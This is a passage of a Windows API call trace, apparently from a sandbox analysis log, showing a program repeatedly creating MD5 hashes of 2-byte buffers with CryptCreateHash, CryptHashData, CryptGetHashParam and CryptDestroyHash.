	[0126.155] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.155] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.155] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.155] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.155] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.155] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.155] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.155] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.155] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.155] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.155] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.156] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.156] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.156] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.156] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.156] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.156] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.156] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.156] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.156] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.156] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.156] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.156] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.156] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.156] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.157] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.157] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.157] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.157] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.157] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.157] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.157] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.157] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.157] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.157] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.157] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.157] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.157] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.157] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.157] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.157] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.158] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.158] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.158] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.158] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.158] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.158] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.158] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.158] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.158] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.158] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.158] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.158] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.159] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.159] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.159] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.159] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.159] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.159] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.159] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.159] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.159] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.159] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.159] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.159] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.159] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.160] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.160] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.160] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.160] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.160] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.160] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.160] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.160] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.160] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.160] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.160] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.160] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.160] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.160] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.160] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.160] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.161] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.161] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.161] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.161] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.161] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.161] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.161] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.161] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.161] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.161] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.161] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.161] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.161] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.161] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.162] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.162] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.162] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.162] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.162] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.162] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.162] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.162] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.162] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.162] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.162] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.162] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.162] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.163] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.163] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.163] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.163] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.163] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.163] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.163] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.163] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.163] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.163] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.163] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.163] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.163] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.164] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.164] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.164] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.164] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.164] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.164] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.164] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.164] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.164] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.164] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.164] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.164] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.164] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.164] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.165] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.165] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.165] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.165] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.165] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.165] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.165] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.165] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.165] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.165] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.165] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.165] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.165] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.165] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.166] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.166] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.166] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.166] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.166] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.166] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.166] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.166] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.166] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.166] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.166] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.166] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.166] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.166] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.166] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.167] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.167] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.167] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.167] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.167] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.167] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.167] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.168] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.168] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.168] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.168] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.168] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.168] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.168] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.168] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.168] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.168] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.168] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.168] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.168] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.168] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.169] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.169] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.169] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.169] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.169] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.169] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.169] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.169] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.169] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.169] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.169] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.169] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.169] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.169] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.170] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.170] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.170] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.170] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.170] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.170] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.170] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.170] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
